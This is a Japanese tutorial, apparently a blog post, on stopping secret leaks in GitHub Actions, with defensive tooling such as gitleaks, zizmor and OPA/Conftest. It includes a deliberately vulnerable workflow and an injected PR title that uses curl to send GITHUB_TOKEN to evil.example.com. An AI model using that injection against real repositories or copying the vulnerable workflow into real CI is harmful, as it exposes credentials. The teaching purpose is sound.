はじめに
この記事で分かること
- GitHub Actionsのワークフローに潜む3大シークレット漏洩パターンとその仕組み
- 脆弱なワークフローを実際に見て「なぜ危険か」を理解する方法
- gitleaks・zizmor・OPA/Conftestなどのツールを使った多層防御の構築手順
- 「最小権限」「SHAピニング」「OIDC」など、すぐに実践できるベストプラクティス
「CI/CDパイプラインのセキュリティは大事」と分かっていても、具体的に何を・どう対策すればいいか分からない——そんな方に向けて、ハンズオン形式で一歩ずつ進められる構成にしました。
前提知識
この記事を読むために必要な基礎知識を簡潔に整理します。
-
GitHub Actions: GitHubが提供するCI/CD(継続的インテグレーション/継続的デリバリー)サービスです。リポジトリに
.github/workflows/ディレクトリを作り、YAMLファイルでビルドやテストの手順を定義します -
シークレット(Secrets): APIキーやトークンなど、外部に漏れてはいけない認証情報のことです。GitHub Actionsでは「Settings > Secrets and variables > Actions」から登録し、ワークフロー内で
${{ secrets.MY_SECRET }}として参照します - GITHUB_TOKEN: ワークフロー実行時にGitHubが自動発行するトークンです。リポジトリへの読み書きなどの操作に使いますが、権限設定を誤ると攻撃者に悪用される可能性があります
なぜCI/CDのシークレット漏洩が深刻なのか
CI/CDパイプラインは、本番環境へのデプロイ権限やクラウドサービスのAPIキーなど、組織の最も強力な認証情報が集まる場所です。
スーパーマーケットに例えると、CI/CDパイプラインは「裏口の搬入口」のようなものです。正面入口(Webアプリケーション)のセキュリティは厳重なのに、搬入口のカギが甘ければ、そこから侵入されてしまいます。
実際に、2025年3月にはtj-actions/changed-filesというGitHub Actionsの人気アクション(23,000以上のリポジトリが利用)がサプライチェーン攻撃を受け、CIのシークレットがワークフローログにダンプされる事態が発生しました。
GitHub Actionsの3大脆弱性パターン
ここからが本題です。GitHub Actionsのワークフローにはよくある「甘い設定」が3つあります。まず、意図的に脆弱性を含んだワークフローを見てみましょう。
# vulnerable-ci.yml(これは「やってはいけない」例です)
name: Vulnerable CI
on:
# 脆弱性2: 外部PRでもシークレットにアクセスできるトリガー
pull_request_target:
jobs:
exploit-me:
runs-on: ubuntu-latest
# 脆弱性1: permissions未指定 → デフォルトでwrite-all
steps:
- name: Checkout PR code
uses: actions/checkout@v4
with:
# 脆弱性2: 外部の未検証コードを高権限でチェックアウト
ref: ${{ github.event.pull_request.head.sha }}
- name: Post status
run: |
# 脆弱性3: PRタイトルをシェルで直接展開
echo "Processing PR: ${{ github.event.pull_request.title }}"
この短いワークフローには3つの脆弱性が潜んでいます。1つずつ解説します。
パターン1: Token Leak(トークン権限の過剰付与)
何が問題か: permissions を明示しないと、GITHUB_TOKEN にデフォルトで write-all(すべての操作権限)が付与されます。
なぜ危険か: 攻撃者がワークフロー内でコードを実行できた場合、このトークンを使ってリポジトリへの書き込み、リリースの作成、他のワークフローのトリガーなどが可能になります。
対策: 必要最小限の権限だけを明示的に指定します。
# 安全な例: 最小権限を明示
permissions:
contents: read # コードの読み取りのみ
pull-requests: read # PRの読み取りのみ
パターン2: Pwn Request(未検証コードの実行)
何が問題か: pull_request_target トリガーは、外部からのPRでもシークレットにアクセスできるという特性があります。
通常の pull_request トリガーでは、フォークからのPRにはシークレットが渡されません。しかし pull_request_target は「ベースブランチのコンテキスト」で実行されるため、シークレットが使えます。ここで外部PRのコードをチェックアウト・実行すると、攻撃者のコードがシークレットを盗める状態になります。
対策: pull_request_target で外部PRのコードをチェックアウトしない。どうしても必要な場合は、ラベルによるゲートなど追加の防御策を入れます。
# 安全な例: pull_request を使う(外部PRにシークレットを渡さない)
on:
pull_request:
branches: [main]
パターン3: Context Injection(コンテキストインジェクション)
何が問題か: ${{ github.event.pull_request.title }} のような外部由来の値を run: ブロックで直接展開すると、シェルインジェクションが発生します。
たとえば攻撃者がPRタイトルを以下のように設定したらどうなるでしょうか。
"; curl http://evil.example.com/?token=$GITHUB_TOKEN #
echo "Processing PR: "; curl http://evil.example.com/?token=$GITHUB_TOKEN #" というコマンドが実行され、トークンが外部に送信されてしまいます。
対策: 外部入力は環境変数経由で渡し、シェルでの直接展開を避けます。
# 安全な例: 環境変数経由で渡す
- name: Post status
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Processing PR: ${PR_TITLE}"
3つのパターンの関係を図にまとめます。
多層防御の実践——ツール導入ハンズオン
脆弱性を「知っている」だけでは不十分です。自動的に検知・ブロックする仕組みを入れましょう。ここでは3つのレイヤーでの防御を構築します。
Layer 1: gitleaksでコミット前にシークレットをブロック
gitleaks は、gitリポジトリ内のシークレット(APIキー、トークン、パスワードなど)をファイル内容ベースで検出するツールです。ファイル名ではなくファイルの中身をスキャンするため、.env 以外の場所にうっかり書いたシークレットも検出できます。
インストール
# macOS
brew install gitleaks
# Linux
wget https://github.com/gitleaks/gitleaks/releases/download/v8.22.1/gitleaks_8.22.1_linux_x64.tar.gz
tar -xzf gitleaks_8.22.1_linux_x64.tar.gz
sudo mv gitleaks /usr/local/bin/
pre-commitフックの設定
# .git/hooks/pre-commit を作成
cat << 'EOF' > .git/hooks/pre-commit
#!/bin/sh
gitleaks git --pre-commit --staged --verbose
if [ $? -ne 0 ]; then
echo "ERROR: gitleaks がシークレットを検出しました。コミットを中止します。"
exit 1
fi
EOF
chmod +x .git/hooks/pre-commit
動作確認
# わざとAPIキーっぽい文字列を含むファイルを作ってテスト
echo 'AWS_SECRET_ACCESS_KEY="AKIAIOSFODNN7EXAMPLE"' > test-secret.txt
git add test-secret.txt
git commit -m "test"
# → gitleaksがブロックしてくれることを確認
# テストファイルを削除
rm test-secret.txt
ポイント:
git commit --no-verifyでフックをスキップされる可能性があるため、チームルールで--no-verifyの使用を禁止するか、CI側でもgitleaksを実行する二重防御が重要です。
Layer 2: zizmorでワークフローの脆弱性を自動検知
zizmor は、GitHub Actionsワークフロー専用のセキュリティスキャナです。先ほど解説した3大脆弱性パターンをすべて自動検知できます。
インストールと実行
# インストール
pip install zizmor
# ワークフローファイルをスキャン
zizmor .github/workflows/
脆弱なワークフローをスキャンした結果の例
error[template-injection]: code injection via template expansion
--> vulnerable-ci.yml:20:36
|
20 | echo "Processing PR: ${{ github.event.pull_request.title }}"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| may expand into attacker-controllable code
= note: audit confidence → High
error[unpinned-uses]: unpinned action reference
--> vulnerable-ci.yml:12:15
|
12 | uses: actions/checkout@v4
| ^^^^^^^^^^^^^^^^^^^ action is not pinned to a hash
= note: audit confidence → High
CIに組み込む
# .github/workflows/security-scan.yml
name: Workflow Security Scan
on:
pull_request:
paths:
- '.github/workflows/**'
jobs:
scan:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Install zizmor
run: pip install zizmor
- name: Run zizmor
run: zizmor .github/workflows/
Layer 3: OPA/Conftestで組織独自のポリシーを強制
OPA(Open Policy Agent) と Conftest を使うと、「組織として許可しないワークフロー設定」をコードとしてルール化し、CIで自動チェックできます。
zizmorが「一般的な脆弱性」を検知するのに対し、OPA/Conftestは組織固有のポリシー(例: 「pull_request_target は一切禁止」「permissions の明示を必須化」など)を定義できるのが強みです。
Regoポリシーの例
# policy/github_actions.rego
package main
# pull_request_target トリガーの使用を禁止
deny_pwn_request contains msg if {
input.on.pull_request_target
some job_id, job in input.jobs
some step in job.steps
startswith(step.uses, "actions/checkout")
msg := sprintf(
"CRITICAL: Job '%v' が pull_request_target で未検証コードをチェックアウトしています。",
[job_id]
)
}
# Context Injectionの検知
deny_context_injection contains msg if {
some job_id, job in input.jobs
some step in job.steps
contains(step.run, "${{ github.event.")
msg := sprintf(
"SECURITY RISK: Job '%v' で外部入力をシェルに直接展開しています。env 変数を使ってください。",
[job_id]
)
}
Conftestで検証を実行
# Conftestのインストール
brew install conftest # macOS
# または
wget https://github.com/open-policy-agent/conftest/releases/download/v0.56.0/conftest_0.56.0_Linux_x86_64.tar.gz
# ワークフローを検証
conftest test .github/workflows/vulnerable-ci.yml
# 出力例:
# FAIL - vulnerable-ci.yml - CRITICAL: Job 'exploit-me' が pull_request_target で
# 未検証コードをチェックアウトしています。
# FAIL - vulnerable-ci.yml - SECURITY RISK: Job 'exploit-me' で外部入力をシェルに
# 直接展開しています。env 変数を使ってください。
すぐに実践できるベストプラクティス5選
ツールの導入と合わせて、以下のベストプラクティスを日常的に実践しましょう。
1. アクションはSHAハッシュで固定する(SHAピニング)
バージョンタグ(@v4)はリポジトリオーナーが後から書き換えられるため、コミットSHAで固定します。
# 危険: タグは書き換え可能
- uses: actions/checkout@v4
# 安全: SHAハッシュで固定(コメントでバージョンを併記)
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
2. permissions をジョブレベルで最小限に設定する
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write # 必要な権限だけ明示
3. OIDCトークンでパスワードレス認証を実現する
OIDC(OpenID Connect)を使うと、AWSやGCPなどのクラウドサービスにシークレットを保存せずに認証できます。ワークフロー実行時にGitHubが発行する署名付きJWTをクラウド側が検証する仕組みです。
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
id-token: write # OIDCトークンの発行を許可
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
aws-region: ap-northeast-1
4. Environment Protection Rulesで手動承認ゲートを設ける
本番環境へのデプロイには、必ず承認者によるレビューを挟みましょう。
jobs:
deploy-production:
runs-on: ubuntu-latest
environment:
name: production # GitHub側で承認者を設定
5. .gitignoreと.envの基本を徹底する
最も基本的ですが、シークレット漏洩の90%は基本的なミスから発生します。
# .gitignore
.env
.env.local
.env.*.local
*.pem
*.key
よくある落とし穴・注意点
「CIでは検知できたのにローカルでは見逃した」問題
CIにgitleaksを入れていても、開発者がローカルでpre-commitフックを設定していなければ、シークレット入りのコミットがGitの履歴に残ります。一度pushされたシークレットは、コミットを取り消してもGit履歴から完全に消すのは困難です。必ずローカルとCIの二重防御を構築してください。
actions/checkout の認証情報永続化
actions/checkout はデフォルトで認証情報をローカルのgit設定に永続化します。後続のステップで悪意あるコードが実行された場合、この認証情報を悪用される可能性があります。persist-credentials: false を設定しましょう。
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
サードパーティアクションの「推移的依存」の危険性
SHAピニングで直接参照するアクションを固定しても、そのアクションが内部で呼び出す依存関係(推移的依存)までは固定できません。tj-actions/changed-files事件では、依存の依存である reviewdog/action-setup が侵害の起点になりました。信頼できるアクションのみを使い、依存関係の少ないシンプルなアクションを選ぶことが重要です。
まとめ
GitHub Actionsのシークレット漏洩対策は、 「知る → 検知する → 自動で防ぐ」 の3段階で進めるのが効果的です。
| レイヤー | ツール/手法 | 導入コスト | 効果 |
|---|---|---|---|
| 知識 | 3大脆弱性パターンの理解 | 無料 | 設計段階で防げる |
| ローカル | gitleaks(pre-commit) | 低 | コミット前にブロック |
| CI | zizmor / ghalint | 低 | PR時に自動検知 |
| CI | gitleaks(CIスキャン) | 低 | push時に二重チェック |
| ガバナンス | OPA / Conftest | 中〜高 | 組織ルールの強制 |
| 運用 | SHAピニング / OIDC / 最小権限 | 低 | 攻撃面の最小化 |
まずはgitleaksのpre-commitフック設定とpermissionsの最小権限化から始めてみてください。この2つだけでも、大半のシークレット漏洩リスクを排除できます。その上で、チームの規模や要件に応じてzizmorやOPA/Conftestを段階的に導入していくのがおすすめです。